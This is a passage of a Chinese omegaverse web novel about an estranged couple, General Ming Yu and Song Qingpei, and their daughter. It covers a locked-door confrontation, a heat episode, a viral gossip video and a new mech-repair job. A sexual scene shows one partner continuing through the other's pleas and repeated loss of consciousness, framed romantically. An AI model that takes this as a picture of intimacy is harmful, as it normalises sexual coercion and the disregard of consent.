刚张开嘴,宋青佩就冷冷地斜了她一眼,理都不理她,然后继续专注地帮颂颂洗澡。明毓只能把到嘴边的话咽回去,默默地站在一旁。 洗完澡后,宋青佩用浴巾把颂颂裹住抱出浴室,直接去了颂颂的房间。 明毓跟在后面,手里拿着颂颂的睡衣,小心翼翼地递过去:“青佩,这是颂颂的睡衣。” 宋青佩接过睡衣,帮颂颂穿上,完全没有多看明毓一眼。 一连几次被冷待的明毓,感受到了从未有过的恐慌,眼前的宋青佩让她感到有些陌生,之前的时候,哪怕是生气,还能感觉到她的情绪,可是现在的宋青佩,似乎已经完全无视了她。 她急得眼尾发红,却完全束手无策。 近乎无助地望向小棉袄,颂颂立刻接收到了妈咪的求救信号,手脚并用地从床上下来,对宋青佩道:“妈妈,我去拿新的故事读本,你等我。” 说完,她穿着鞋子蹦跳地出了门,好不忘关上门。 嘿嘿,书上说,二人世界可以让妈妈和妈咪赶紧和好,希望妈咪可以争气点吧,颂颂一边操着心,一边故意慢悠悠地去自己的小书房拿故事读本。 房间里只剩下两人,静得落针可闻。 明毓上前,试图靠近宋青佩,距离她还有好几步的距离时。 宋青佩抬头看向她,冷声道:“明毓,利用女儿来达成自己的目的,这样只会让我更讨厌你。” “我不是……”明毓脸色惨白。 “不是什么?”宋青佩看着她,讥讽道:“你敢说,今天颂颂的所作所为,不是你教的。” 明毓艰难张口,试图解释。 宋青佩却根本没给她机会,直接转身去书房里,把趴在桌子上自己晃荡着小腿看书的颂颂薅了出来,故意道:“颂颂,你要是不困,妈妈就走了。” “不要!”颂颂一下扑了过去,打着呵欠:“妈妈,我好困。” 宋青佩俯身将颂颂抱起来,边走边问:“既然困了,为什么不回房间睡觉?反而在那里看书?” 这个问题问完,正好走到房间门口,让明毓听得清清楚楚。 “因为,因为,因为……” 颂颂绞着手指,看了看宋青佩,又看了看垂着头的明毓。 呜呜,好难啊! 撒谎,妈妈不高兴,可要是把妈咪卖了,是不是太不讲义气了。 正在她为难之时,明毓白着脸往外走,“青佩,我……我以后不会这样了。你哄颂颂睡觉吧,我先出去了。” 然后走到门口,停了一瞬,仿佛在奢求听到挽留的话。 宋青佩哼都没哼一声,抱着颂颂进了门,直接反手关上了门。 颂颂看着生气的妈妈,赶紧乖乖躺到了床上,将手里的故事读本递过去,眼睛亮晶晶的:“妈妈,你给我讲故事吧!” 宋青佩点了点头,坐在床边,接过童话书,轻声念了起来。 她的声音温柔而平静,颂颂很快就沉浸在了故事里,眼睛一眨一眨的,渐渐有了困意,但是只要熬得久一点,妈妈就会多留一会儿。 于是她强撑着不让自己睡着,时不时揉揉眼睛,努力听着妈妈的故事。 宋青佩察觉到颂颂的困意,轻轻拍了拍她的背:“颂颂,困了就睡吧,妈妈在这里陪着你。” 颂颂摇了摇头,声音里带着困意:“妈妈,我不困,你再讲一个故事好不好?” 宋青佩无奈,只能继续念起了下一个故事。 颂颂努力睁大眼睛,但最终还是抵不过困意,渐渐闭上了眼睛。 呼吸变得平稳而绵长。 宋青佩轻轻放下书,低头在颂颂额头上吻了一下,然后站起身,往外走。 她轻轻关上颂颂的房门,转身准备离开,转头,却看到明毓站在走廊的阴影里,不知道已经在那里站了多久。 这中间一个多小时,明毓该不会压根就没走吧? 想完,宋青佩又觉得自己想多了,她愿意待多久跟她有什么关系,不要心疼女人,会被骗。 于是,宋青佩收回了视线,转身下楼。 明毓立刻上前,拉住了她的胳膊,颤声喊她:“青佩……” “放手!” “青佩,我错了,我们谈谈好不好?求你了。” 明毓越说声音越小,脊背僵硬,垂首不敢看她,手上的动作却并没有松。 宋青佩皱了皱眉,却意外地说:“好,我们谈谈。” 明毓愣了一下,随即脸上浮现出一丝受宠若惊的神色,连忙点头:“好,好,我们去书房谈。” 两人一前一后走进书房。 明毓关上门,转身看向宋青佩,语气里带着几分急切和卑微:“青佩,我真的知道错了。我不该瞒着你,不该利用你,我——” “停。”宋青佩直接抬手打断了她的话,眼神冷静而疏离,“我不想听你道歉。我们来谈正事。” 明毓张了张嘴,最终只能低下头,“好,你说。” 宋青佩直截了当:“慕容瑞雪和李蔓什么时候能放出来?你答应过我的。” “我已经和乌澜说了,她正在处理,但这件事需要时间。战笠那边盯得很紧,不能打草惊蛇。”明毓紧张地解释:“你相信我,答应你的事情我会做到的。” “我理解。”宋青佩点了点头,语气依旧平静:“但我希望你能尽快解决,我怕再拖下去会有什么意外。” 明毓连忙点头:“我会的,我一定会尽快处理的。” 宋青佩看了她一眼,继续说:“另外,我已经找到了工作和房子,以后会隔一天接送颂颂放学,带她吃个晚饭再送她回来,周六可能会接她回去住一天。这是我对颂颂的安排,你有什么意见吗?” 明毓愣住了,脸上的表情从惊讶逐渐转为愕然。 她没想到宋青佩已经做好了这么详细的计划,而这里面,完全没有她。 她的声音有些颤抖:“青佩,你……你是认真的吗?” 宋青佩笑道:“你以为我在跟你过家家吗?明毓,我已经给了你足够多的机会,但你从来没有真正改变过。我不想再浪费时间了。” 明毓的脸色瞬间变得苍白,哀求道:“青佩,你再给我一次机会,好不好?我保证,这次我一定会改,我一定会……” “够了。”宋青佩再次打断她,语气里带着几分不耐烦,“我不想再听这些空洞的承诺。我已经说得很清楚了,我的决定不会改变。” 说完,她转身准备离开,却发现明毓再次挡在了门前,拦住了她的去路。 “让开。”宋青佩的语气彻底冷了下来。 “……青佩,你别走。我们再谈谈,好不好?” 明毓声音里带着卑微和恳求,身体却一动不动。 看在宋青佩眼里,那便是一如曾经,认错是认错,改是不可能改的。 宋青佩皱了皱眉,伸手拉开明毓,却发现门已经被锁上了。 锁是面部识别,她打不开。 宋青佩的脸色瞬间沉了下来,语气里带着几分怒意:“明毓,你这是什么意思?” 明毓低着头,声音里带着几分颤抖:“青佩,我只是……只是想和你多待一会儿。你别生气,我——” 宋青佩没有理会她,脸色越来越冷,“你明毓,你以为这样就能留住我?” 明毓的声音里带着几分慌乱:“青佩,我……” 话未说完,宋青佩的手紧紧扣住明毓的肩膀,指尖微微用力,明毓被她逼得步步后退,直到后背抵在冰凉的墙壁上,退无可退。 她的呼吸变得急促,耳边只剩下宋青佩近在咫尺的呼吸声。 两人的距离太近了,近到明毓能清晰地闻到宋青佩的味道,混合着一丝若有若无的体温,她本就在发热期,身体比平时更加敏感,此刻被宋青佩的气息包围,体内的信息素不受控制地溢了出来。 空气中弥漫着一股淡淡的甜腻味道。 明毓的脸瞬间涨得通红,下意识地想要推开宋青佩,却又舍不得这难得的亲近。她的目光不由自主地落在宋青佩的唇上,喉咙发紧,心跳如雷。 宋青佩察觉到了她的异样,却并没推开她,手指反而顺着明毓的肩膀缓缓下滑,落在她的腰际。明毓穿的是一袭红色露背长裙,宋青佩轻易便触到了她的肌肤,滚烫而灼热。 明毓的身体猛地一颤,呼吸变得更加急促,眼神也变得迷离起来。 “青佩……”明毓的声音带着一丝颤抖,像是哀求,又像是期待。 她的手指不自觉地抓住了宋青佩的衣角,想要靠近,却又不敢轻举妄动。 仿佛在做梦般,宋青佩竟然主动将她拉得更近。 明毓的身体几乎贴在了宋青佩的身上,她能感受到宋青佩胸口微微地起伏,以及她身上传来的温度,她忍不住轻轻抚上宋青佩的脸颊,想要亲吻她。 然而,就在她的唇即将触碰到宋青佩的那一刻,宋青佩却突然捏住了她的下巴,迫使她抬起头来。 “睁开眼。”宋青佩的声音冷得像冰,没有丝毫温度。 明毓愣了一下,本能地睁开了眼。 她的眼神中带着一丝迷茫和不解,然而,宋青佩却没有给她任何解释,而是捏着她的下巴,将她的脸转向了门的方向。 门上的面部识别系统瞬间启动,扫描了明毓的脸。 下一秒,门应声而开。 明毓呆愣当场,脸上的红晕瞬间褪去,取而代之的是一片苍白。 宋青佩松开了她,转身就要走。 明毓下意识地伸手想要抓住她,却被宋青佩轻易地避开了。 “青佩……”明毓的声音带着一丝哽咽。 宋青佩却没有回头,径直走出了书房,回了她之前住的房间,然后翻出了许久不用的注射器,毫不犹豫地取了自己的血液。 明毓发热期无法自控的问题,她早就想过,之前确定她的血液有安抚作用后,明毓就已经取了她的血液去研究机构做了血液复制,复制的血液完全可以暂时解决明毓的问题。 只是后来两人和好,这事也就不了了之了。 现在事发突然,她自然不会趁着明毓发热期来报复,但也不可能毫无芥蒂地再跟她亲密接触,至于以后……她也不知道会怎么样。 宋青佩到了走廊里,对着楼下喊了一声:“苏管家。” 苏管家很快出现在楼梯口,恭敬地问:“宋小姐,有什么吩咐?” 宋青佩从口袋里拿出一支早已准备好的注射器,递给苏管家:“明毓的发热期到了,这是抑制剂,你帮她处理一下。” 苏管家接过注射器,点了点头:“是,夫人。” 宋青佩没有再说什么,转身朝大门走去。 而书房里的明毓以为宋青佩早就走了,她的手指紧紧攥住门框,身体微微颤抖,发热期的症状让她感到一阵阵的晕眩和无力,勉强扶着墙才站稳。 此刻听到宋青佩的声音,立刻不顾身体的不适追了出去。 却知道看到宋青佩离开的背影,顿时心如刀绞,死死地咬着唇,渗出淡淡殷红。 苏管家忙走上前,轻声说:“小姐,我先帮您注射抑制剂吧。” 明毓没有回答,只是呆呆地看着宋青佩离去的方向。 苏管家见明毓没有反应,只能扶住她的手臂,先将她送回了房间。 明毓像是失去了所有的力气,任由苏管家摆布。 苏管家熟练地为她注射了抑制剂,叹了口气,轻声说:“上将,您先好好休息,宋小姐想通了会回来的。” 明毓依旧没有回答,只是缓缓闭上了眼睛,脑海中不断回放着刚才的画面。 宋青佩的冷漠,无情,仿佛一柄锋利的刀,一点点将她凌迟。 第67章 多标记几次,省事 明毓躺在床上,翻来覆去,脑海中不断浮现宋青佩离开时的背影。 不知过了多久,才终于迷迷糊糊地睡着了。 梦里,她回到了那个熟悉的房间。 宋青佩站在她面前,脸上带着温柔的笑意,轻轻抚摸着她的脸颊,指尖的温度让明毓感到一阵酥麻。 “青佩……”明毓低声呢喃,声音里带着几分渴望。 宋青佩没有回答,只是俯下身,轻轻吻住了她的唇。 她的心跳陡然加快,双手不由自主地环住了宋青佩的腰,凑得更近。 宋青佩的吻温柔而缠绵,舌尖轻轻撬开她的齿关,与她纠缠在一起。 明毓感到一阵眩晕,身体渐渐变得滚烫。 宋青佩的手顺着她的腰线缓缓下滑,指尖轻轻划过她的肌肤,带起一阵战栗,她不由自主地贴近宋青佩,渴望更多的触碰。 她忍不住低声哀求,“青佩,亲亲我,求你……” 宋青佩轻轻笑了笑,低头在她的颈间落下一个吻,随后缓缓咬住了她的腺体。 明毓的身体猛地一颤,那种被完全占有的感觉让她几乎失控。 “青佩……别走……” 她的声音里带着几分哽咽,紧紧抱住宋青佩,生怕她离开。 然而,就在她即将沉沦的那一刻…… 宋青佩的身影却渐渐模糊,最终消失在她的怀中。 明毓猛地惊醒,额头上满是冷汗。她坐起身,大口喘着气,心脏剧烈跳动,身体依旧滚烫。 她低头看了看自己,发现睡衣已经被汗水浸透,浑身燥热难耐。 “该死的发热期……” 明毓咬牙,一时之间,脑子里却闪过一个念头。她终于有了借口去找青佩,哪怕这让她羞耻不已,不管一切都不重要了。 明毓迅速起身,从抽屉里拿出抑制剂,毫不犹豫地注射了一针。 然而,抑制剂效果微乎其微,她的身体依旧燥热难耐,脸颊泛红,眼中闪动一种莫名的偏执,她此刻只想见到那个人,抱住她,感受到她的低温。 “青佩……” 明毓低声呢喃,拿起通讯器,给宋青佩发了一条消息: 【青佩,我发热期又来了,我需要你。】 消息发出后,她等了一会,却没有收到任何回复。 明毓的心渐渐沉了下去,手中抖着拨通了宋青佩的号码,然而,电话那头依旧是一片寂静。 此时,身体的热度让她几乎无法思考。 趁着理智还在,她咬了咬牙,强撑着站起身,拨通了明芮的号码。 “表姐?”明芮的声音从通讯器那头传来,带着明显的困意。 “明芮……”明毓的声音沙哑而颤抖,“告诉我,青佩的地址。” 明芮愣了一下,察觉到不对劲:“表姐,你怎么了?声音听着怪怪的。” “……我没事,告诉我她的地址。” 明芮犹豫了一下,最终还是将宋青佩的住址告诉了她。 明毓挂断通讯,再次拿起抑制剂,毫不犹豫地注射了第二针,随后是第三针。然后强撑着站起身,走出房间。 “苏管家!”明毓的声音里带着几分虚弱,“备车,送我去一个地方。” 苏管家看到明毓泛红的脸色和摇摇欲坠的身体,连忙上前扶住她:“小姐,您怎么了?需要叫医生吗?” “不用……”明毓摇了摇头,声音里带着几分坚定,“送我去青佩的住处。” 苏管家不敢多问,连忙扶着她上了车。 车子在夜色中疾驰,明毓靠在座椅上,身体依旧滚烫,脑海中全是宋青佩的身影。 “青佩……” 她低声呢喃,手指紧紧攥住座椅的边缘,仿佛这样就能缓解内心的煎熬。 车子终于停在了宋青佩的住处楼下。 苏管家要扶她,明毓抬手拒绝,自己强撑着下了车,找到宋青佩的住处,抬手敲了敲门。 “咚咚咚——” 敲门声在寂静的夜里显得格外刺耳。 宋青佩正躺在床上,迷迷糊糊间听到敲门声,皱了皱眉,缓缓睁开眼睛。 她看了看时间,已经是深夜,心中不禁有些疑惑。 “这么晚了,谁会来找我?”她低声呢喃,起身披上一件外套,走到门前。 透过猫眼,她看到明毓站在门外,脸色苍白,身体摇摇欲坠。 宋青佩的心猛地一沉,迅速打开门。 “明毓?”她的声音里带着本能的惊讶和担忧,“你怎么这时候来了?” 明毓抬起头,眼神迷离地看着她,声音透着虚弱和渴望:“青佩……我需要你……” 话没说完,直接栽进了宋青佩的怀里。 宋青佩伸手扶住她,只觉掌心滚烫,随即反应过来,明毓的发热期来了。 她的眉头紧紧皱起,伸手扶住明毓:“你注射抑制剂了吗?” 明毓点了点头,声音里带着几分痛苦:“注射了……好几针……但没有用……” 她的心猛地一沉,意识到明毓的发热期又失控了。 她咬了咬牙,扶住明毓的手臂:“先进来。” 明毓的身体几乎完全靠在宋青佩身上,呼吸急促而滚烫。 宋青佩扶着她走进房间,将她放在沙发上。 “青佩……”明毓的声音里带着几分哀求,眼神迷离地看着她,“别走……” 宋青佩没有回答,只是拿出通讯器,准备联系苏管家,找医生问问,怎么这次的血液作用这么快就失效了。 然后,让医生送复制的血液过来,不然就明毓这个用法,她得成干尸不可。 然而,宋青佩还没来得及拨出号码,明毓就伸手将通讯器抢了过去,整个人抱住她,声音里带着几分急切:“青佩……我不要抑制剂……我要你……” 看上去,好像意识已经不清了。 但是宋青佩不信,她不用看,都知道,肯定是装的。 她一向如此。 宋青佩用力推着明毓的肩膀,试图将她从自己身上拉开。 然而,明毓却像八爪鱼一般紧紧缠着她,双手死死扣住她的腰。 两人肌肤相接的温度,让她的信息素不受控制地溢出,像是某种致命的诱惑,一点点侵蚀着宋青佩的理智。 “明毓,你放开!” 宋青佩的手抵在明毓的肩膀上,指尖发颤,却始终无法用力将她推开。 明毓半瞌着眼,趴在她的肩头,唇齿间含糊不清地呢喃着:“青佩……别走……我要你……” 热烈的信息素像是无形的丝线,缠绕着宋青佩的感官,一点一点侵蚀她的理智,那是一种甜腻而危险的气息,散发着诱人的香气,却又带着致命的毒性。 宋青佩心底深处压抑已久的渴欲,似乎也在被慢慢点燃。 她知道自己该被明毓牵着鼻子走,可是身体的反应却完全不受控制,她不自觉地抚上明毓的后颈,指尖触碰到她滚烫的腺体。 “你总是这样……”宋青佩的声音里带着无奈和愤怒。 可话未说完,明毓将脸埋在她的颈间,轻轻地咬了一口。 那一瞬间,宋青佩的理智彻底崩塌。 她没有再推开明毓,反客为主,强势地将明毓压在身下。 手指紧紧扣住明毓的手腕,将她牢牢禁锢在身下,指尖轻轻抚过明毓的腺体,感受到她的身体猛地一颤,随即发出一声低低的呜咽。 宋青佩眸色渐深,指尖微微用力,近乎暴虐地揉捏着明毓的腺体。 “青佩…轻点…别……” 明毓的声音里带着几分哀求,眼神迷离地看着她,身体却不由自主地贴近她,渴望更多的触碰。 宋青佩的指尖更加用力,明毓忍不住发出一声压抑的尖叫。 但宋青佩不为所动,她的眼神渐冷,动作却愈发粗暴。 “青佩……不要……”明毓的声音断断续续,带着几分求饶的意味。 宋青佩低下头,狠狠地咬住了明毓的腺体,完全标记了她。 那一瞬间,明毓的身体猛地绷紧,随后剧烈地颤抖起来。 她的手指紧紧抓住床单,指节发白,喉咙里发出压抑的呜咽声。 明毓的求饶声渐渐变成了哭泣,生理性的泪水顺着她的脸颊滑落,打湿了枕*头。她的声音沙哑,带着哭腔,一遍又一遍地求饶,但宋青佩却像是听不见一般,依旧不肯停下。 “够了……宋青佩……求你……” 明毓的声音近乎崩溃,灭顶的感觉交织在一起,让她几乎无法承受。 她的意识开始模糊,眼前一片漆黑,最终在极度的刺激下晕了过去。 然而,宋青佩并没有因此停下。 她的怒和欲依旧在燃烧,像是要将明毓彻底吞噬,也不知道过了多久,明毓又被宋青佩折腾醒来。 继续,再度晕厥,醒来…… 周而复始,也不知道持续了多久,她感觉自己的嗓子都喊哑了, 那种灭顶的感觉,让明毓第一次对宋青佩有了恐惧。 她是想把她弄死在床上。 宋青佩站在床边,低头看着蜷缩在床上的明毓。 她的身体还在微微颤抖,凌乱的发丝黏在汗湿的脸颊上,眼角还挂着泪痕,呼吸微弱而急促,整个人像是被抽干了力气,连抬手的力气都没有。 宋青佩的心里闪过一丝异样的情绪,她知道自己做得有些过分了。 明毓的身体显然已经承受到了极限。 可即便如此,她不后悔,这是明毓自找的,是她先挑起了这场失控的纠缠。 她转身从衣柜里拿出一件干净的衬衫,轻轻抖开,俯身将明毓从床上扶起来。明毓的身体软绵绵的,像是没有骨头一般,任由宋青佩摆布。 她的眼神有些涣散,似乎还没有从刚才的激烈中回过神来。 宋青佩的动作并不温柔,甚至带着几分粗鲁。 她将衬衫套在明毓的身上,手指不经意间触碰到她滚烫的皮肤,明毓的身体猛地一颤,喉咙里发出一声低低的呜咽。 “轻点……”明毓的声音沙哑得几乎听不清,带着几分抗拒和委屈。 宋青佩没有理会她的抗议,继续给她穿衣服。 她的手指滑过明毓的肩膀,感受到她身体的颤抖,心里那股莫名的情绪又涌了上来。她皱了皱眉,强迫自己忽略这种感觉。 就在她给明毓扣上最后一颗纽扣时,明毓突然低下头,狠狠地咬住了她的手臂。 “嘶——” 宋青佩倒吸一口冷气,手臂上传来的疼痛让她下意识地想要抽回手,但明毓咬得很紧,像是要把所有的委屈和愤怒都发泄在这一口上。 “你故意的……”明毓松开嘴,抬起头看她。 她的嘴唇还有些红肿,声音沙哑得几乎听不清,但语气里的怨念却清晰无比。 宋青佩低头看了一眼手臂上的牙印,嘴角勾起一抹恶劣的笑。 “这不是你想要的吗?”她的声音低沉,带着几分戏谑和嘲讽,“多标记几次,撑的时间长一点,上将大人少来几次,也省了我们彼此的功夫。” “你……” 明毓的脸色瞬间变得苍白,嘴唇微微颤抖,似乎想要反驳,却发现无话可说。 她从未想过,宋青佩会以这样的方式回应她。 宋青佩看着明毓的表情,心里那股莫名的情绪再次涌了上来。 她压下心中的情绪,拿起通讯器,直接联系了苏管家。 “苏管家,半小时后来接明毓。” 明毓听到她的话,猛地从床上坐起来,难以置信地看向她:“你还要赶我走……” 宋青佩没有理会她,径直代开窗户,风从外灌进来,吹散了房间里暧昧的气息。 明毓下床,脚步虚浮地走到宋青佩身边,伸手想要拉住她的衣袖。 “青佩,别赶我走……我知道我错了,我真的知道错了……” 宋青佩只是淡淡地看了她一眼,甩开她的手:“约个时间,我们去看看医生,问问还有没有别的办法解决你发热期的问题。” “我现在不想跟你睡!” 明毓的脸色瞬间苍白,身体微微颤抖,仿佛被宋青佩的话刺中了心脏。 她还想再说什么,但苏管家已经来了,宋青佩毫不犹豫地揪住明毓的衣服,将她推出了门外。 “青佩!” 明毓伸手想要抓住门框,却被宋青佩猛地关上了门。 “砰——” 门在明毓面前重重关上,她身体摇摇欲坠地站在门外。 苏管家见状,连忙上前扶住她:“上将,您没事吧?” 明毓没有回答,只是低着头,任由苏管家将她扶上车。 明毓坐在车上,心像是被什么东西狠狠揪住,闭上眼睛,试图让自己平静下来,却满脑子都是宋青佩临走时那冷漠的眼神。 不知道为什么,她突然感觉很累,那种发自内心的疲惫。 把宋青佩留下,真的可以留住她的心吗? 还可以回到从前吗? 如果说之前,她还很有自信,只要将青佩留在身边,总能让她软化。 可此刻,她忍不住开始动摇。 她渴望宋青佩温暖的怀抱,与她相拥而眠,哪怕是青佩喝醉酒,存了故意看她笑话的心思,可是一颦一笑,生气,愤怒,都是那么鲜活。 明明她们那么好了,可是一切就仿佛泡沫,那么快就没了。 她怎么甘心…… 第68章 拉黑 明毓从车上下来,双腿像是灌了铅,每走一步,都能感受到体内残留的酸痛感,尤其是腰部和双腿,让她忍不住打颤。 她慢慢挪到床边,身体一软,直接倒在了床上。 床单的触感让她不由自主地回想起宋青佩的床,那种被熟悉气息包围的感觉,仿佛还残留在她的皮肤上。尽管身体难忍,但那种被宋青佩完全占有的感觉,还是让她忍不住泛起一阵难以言喻的悸动。 她翻了个身,试图让自己舒服一些,但体内的余韵依旧在隐隐作祟, 呼吸渐渐变得急促,身体不由自主地蜷缩起来。 明毓不知道自己是什么时候睡着的,只记得在迷迷糊糊中,她似乎又回到了宋青佩的床上,感受到她的体温。 然而,当她伸手想要触碰时,宋青佩的身影却再次消失,只剩她一人。 第二天早上,明毓醒来时,身体依旧没有缓过来。 她的腰部和双腿依旧酸痛,尤其是下床时,那种不适感让她忍不住倒吸了一口冷气。她强打起精神,起床,走进了颂颂的房间。 小家伙还蜷缩在被窝里,睡得正香。 明毓轻轻拍了拍她的肩膀,柔声道:“颂颂,该起床了。” 颂颂迷迷糊糊地睁开眼睛,看到是明毓,失望地喊了一声:“妈咪……” 明毓勉强扯出一丝笑容,帮她整理好衣服,牵着她的手走到餐厅。 餐桌上已经摆好了早餐,但明毓却一点胃口都没有,只是机械地给颂颂夹菜。 颂颂咬了一口面包,抬头看了看明毓,小脸上满是疑惑:“妈咪,你昨晚没哄好妈妈吗?妈妈怎么又走了?” 明毓的手一顿,筷子差点掉在桌上。 颂颂见明毓不说话,委屈巴巴:“妈咪,我想妈妈……你放学带我去找妈妈好不好?” 明毓看着颂颂期待的眼神,心里一阵酸楚。 她摸了摸颂颂的头,声音沙哑:“颂颂乖,妈妈最近有点忙,等她不忙了就会回来的。” 颂颂却不依不饶,小嘴噘的老高:“可是我想妈妈了……妈咪,你再去哄哄她嘛,妈妈很好哄的……” 明毓听到这句话,心里更加难受。 她低下头,想说些什么,却一个字都说不出来。 颂颂见她脸色难看,甚至眼眶都红了,吓得赶紧伸出小手拉住明毓的衣袖:“妈咪,你别哭……我不找妈妈了,你别难过了……” 明毓努力挤出一丝笑容,“妈咪没事,快吃饭吧,等下送你去上学。” 颂颂乖巧地点了点头,心里愁的不行,妈咪和妈妈到底什么时候能和好啊? 吃完早饭,明毓送颂颂去学校。 一路上,颂颂一直紧紧拉着明毓的手,生怕她又伤心了。 明毓强撑着笑容,哄着颂颂进了校门。 刚走出学校,明毓的通讯器就响了起来。 她看了一眼,是明芮打来的。 “表姐,你……你还好吧?”明芮支支吾吾,似乎不知道该怎么说。 明毓皱眉,“怎么了?” 明芮犹豫了一下,试探性地问:“那个……你昨晚跟青佩姐怎么了?你们……是不是又吵架了?” “你怎么知道的。”明毓十分诧异。 明芮叹气:“表姐,你还是看一下新闻吧……现在全网都在讨论你们的事。” 明毓愣了一下,迅速打开网络,就看到一条醒目的标题:【上将明毓深夜被赶出家门,疑似婚变!】 视频中,明毓狼狈地被推出门。而宋青佩的身影虽然只出现了一瞬,但她的行为,却让人不禁猜测两人之间是否出现了裂痕。 短短几分钟,这段视频便引爆了整个星际网络,迅速登上了热搜榜首。 明毓的脸色瞬间变得铁青,胸口剧烈起伏。 她声音里带着压抑的怒火,仿佛从牙缝里挤出来一般,“明芮,立刻去查,我要知道这段视频的源头从哪来的!” 明芮赶紧道:“行,我马上安排人去查!” —— 宋青佩一早便去了新公司报到。 这家公司名为“星辉科技”,是联邦颇具声望的机甲维修与研发企业,专门为军方和民用市场提供高端机甲维护、升级和定制服务。 由于明芮的关系,总经理李远亲自接待了宋青佩,并带她去了机甲维修部。 维修部的副组长林悦是一位年轻的女性,技术扎实,性格开朗。 她见到宋青佩时,眼神里带着好奇和探究,但很快便热情地招呼她:“宋小姐,欢迎加入我们组!今天我先带你熟悉一下工作环境,顺便给你安排个搭档。” 宋青佩点了点头,淡淡一笑:“谢谢,麻烦你了。” 林悦带着她走进维修车间,指着一台正在检修的机甲说道:“这是我们组最近接的一个大单,军方委托的‘雷霆-III’型机甲,需要全面检修和升级。宋小姐,你在这方面经验丰富,正好可以负责核心部分的维修。” 宋青佩看了看那台机甲,眼神里闪过一丝兴趣:“没问题,我会尽快上手。” 林悦笑了笑,随后招手叫来一位年轻的女性:“小夏,过来一下。” 一位扎着马尾辫、穿着工装的年轻女孩快步走了过来,“副组长,什么事?” “这位是宋青佩,新来的维修师。今天你和她搭档,负责‘雷霆-III’的检修工作。”林悦介绍道。 小夏热情地伸出手:“宋小姐,你好!我叫夏琳,大家都叫我小夏。以后请多指教!” 宋青佩握了握她的手,淡淡一笑:“你好,合作愉快。” 一上午的时间,宋青佩和夏琳一起投入到机甲的检修工作中。 夏琳虽然年轻,但技术扎实,做事也很认真,两人配合得不错,慢慢熟络起来,很快她就自来熟地喊上了青佩姐。 “青佩姐,你以前是不是在军方工作过?感觉你对这些机甲的构造特别熟悉。”夏琳一边拧紧螺丝,一边好奇地问道。 宋青佩解释道:“没有,只是之前在蓝海修过军方的机甲。” “难怪!”夏琳眼睛一亮,语气里带着几分崇拜,“我就说你怎么这么厉害!以后要多跟你学习!” 宋青佩淡淡一笑,没有多说什么。 到了午饭时间,夏琳主动邀请宋青佩:“青佩姐,一起去吃饭吧?我们公司的伙食还不错,而且今天有特供的海鲜套餐!” 宋青佩本想拒绝,但看到夏琳热情的眼神,还是点了点头:“好,一起去吧。” 两人端着餐盘找了个靠窗的位置坐下。 夏琳一边吃饭,一边兴致勃勃地聊着工作上的事情。 宋青佩虽然话不多,但也会时不时回应几句,气氛还算融洽。 吃到一半,夏琳突然放下筷子,犹犹豫豫地小声问:“青佩姐,那个……我有个问题,可能有点冒昧,但实在忍不住想问……” 宋青佩抬头看了她一眼,诧异道:“什么?” 夏琳挠了挠头,压低声音说道:“那个……你和明毓上将,是不是感情出现问题了啊?” 宋青佩的手微微一顿,道:“为什么这么问?” 夏琳有些尴尬地笑了笑:“其实……今天早上我来公司的时候,听到几个同事在议论,说你和明毓上将……呃,就是有点好奇。” 宋青佩无奈道:“这是我的私事,不方便说。” 夏琳见她态度冷淡,连忙摆手:“对对不起!我不是故意打听的,就是……呃,有点好奇,你别介意啊。” 宋青佩看了她一眼,语气稍微缓和了一些:“没事,吃饭吧。” 夏琳不敢再多问,低头继续吃饭,但心里对这件事的好奇却更加强烈了。 两人吃完午饭后,回到维修车间继续工作。 下午的任务是对“雷霆-III”型机甲的能源核心进行检测和调试。 两人配合默契,工作进展顺利。 然而,夏琳时不时偷瞄宋青佩的眼神,显然还在想着午饭时的话题。 休息间隙,夏琳终于忍不住,掏出通讯器,点开了热搜页面。 她犹豫了一下,还是走到宋青佩身边,小声说道:“宋小姐,那个……我觉得你还是看一下这个吧。虽然我知道这是你的私事,但现在全网都在讨论,我怕你被蒙在鼓里……” 宋青佩停下手中的工具,眉头微皱:“什么东西?” 夏琳将通讯器递给她,屏幕上赫然正是被顶上去的热搜。 【上将明毓深夜被赶出家门,疑似婚变!】 评论区里,各种猜测和嘲讽铺天盖地,评论区更是炸开了锅: 【天哪!这是明毓上将吗?】 【不久前还在秀恩爱,怎么转眼就闹成这样?果然豪门婚姻都是表面光鲜!】 【这两人是不是吵架了?感觉明毓上将的眼神好绝望啊】 【宋青佩也太无情了吧?明毓上将都那样求她了,她居然还把人赶出去!】 【我觉得事情没那么简单,明毓上将平时那么强势,要不是真的做错事,怎么会这么低声下气?】 【我觉得这两人迟早要离婚,根本就不是一路人!】 …… 宋青佩越看,脸色越发沉凝。 她没想到,昨晚的事情居然被人拍了下来,还闹得这么大。 夏琳见她脸色难看,连忙劝道:“青佩姐,你别生气……我也是刚刚才看到的,怕你还不知道,所以才给你看……” 宋青佩深吸一口气,勉强笑笑:“我知道了,谢谢。” 夏琳点了点头,不敢再多说什么,只是默默回到自己的工作台前,继续埋头干活。 宋青佩站在原地,心里却并不平静。 然而,她的通讯器却在这时震动了起来。 她低头一看,是明毓发来的语音消息。 宋青佩刚点开,就听到她带着沙哑和疲惫的声音传来: “青佩…我真的知道错了,绝对不会再骗你了,你回来好不好?我真的……真的很想你。” 宋青佩眉头一皱,手指迅速滑动,想要关掉语音。 但明毓的声音却继续传来:“昨晚……你明明也很享受,不是吗?不管你想怎么样,我都可以配合你。能不能别这样对我?我真的受不了……” 语音还没播完,宋青佩已经迅速按下了停止键,但显然已经来不及了。 一旁的夏琳听得清清楚楚,手足无措地低下头,假装专注地盯着手中的工具,嘴里打着哈哈:“呃……那个……我什么都没听到!真的,青佩姐,你放心,我绝对不会乱说的!” 宋青佩无语地看了她一眼,心里一阵烦躁。 她迅速给明毓发了一条消息,语气冷淡:“视频的事情你看到了吗?” 明毓的回复很快:“青佩,我已经让人去查了,你放心,我会处理好的。” “你……你能不能先别生气了?我真的知道错了。” “我今天去接你,我们再谈谈,好不好?” 宋青佩想到第一天上班就闹这么大的乌龙,心里的火蹭的一下上来了。 “我现在不想听你说这些,视频的事情你尽快查清楚,别让我再看到这些乱七八糟的东西。” 然而,明毓的回复依旧执着,不外乎示弱求原谅。 消息响个不停,宋青佩忍无可忍,直接将她拉入了黑名单。 第69章 假结婚 明毓的办公处搬去了军校,位于中央星区东侧的军事学院内。 军校的建筑风格庄严肃穆,明毓的办公室设在主楼的顶层,透过落地窗可以俯瞰整个校园。她的到来在军校内部引起了不小的震动。 随同她一起来的人对于热搜事件充满了好奇,但谁也不敢轻易开口询问,明毓的气场本就冷峻,再加上她今天脸色阴沉,显然心情不佳,大家更是噤若寒蝉,生怕触了她的霉头。 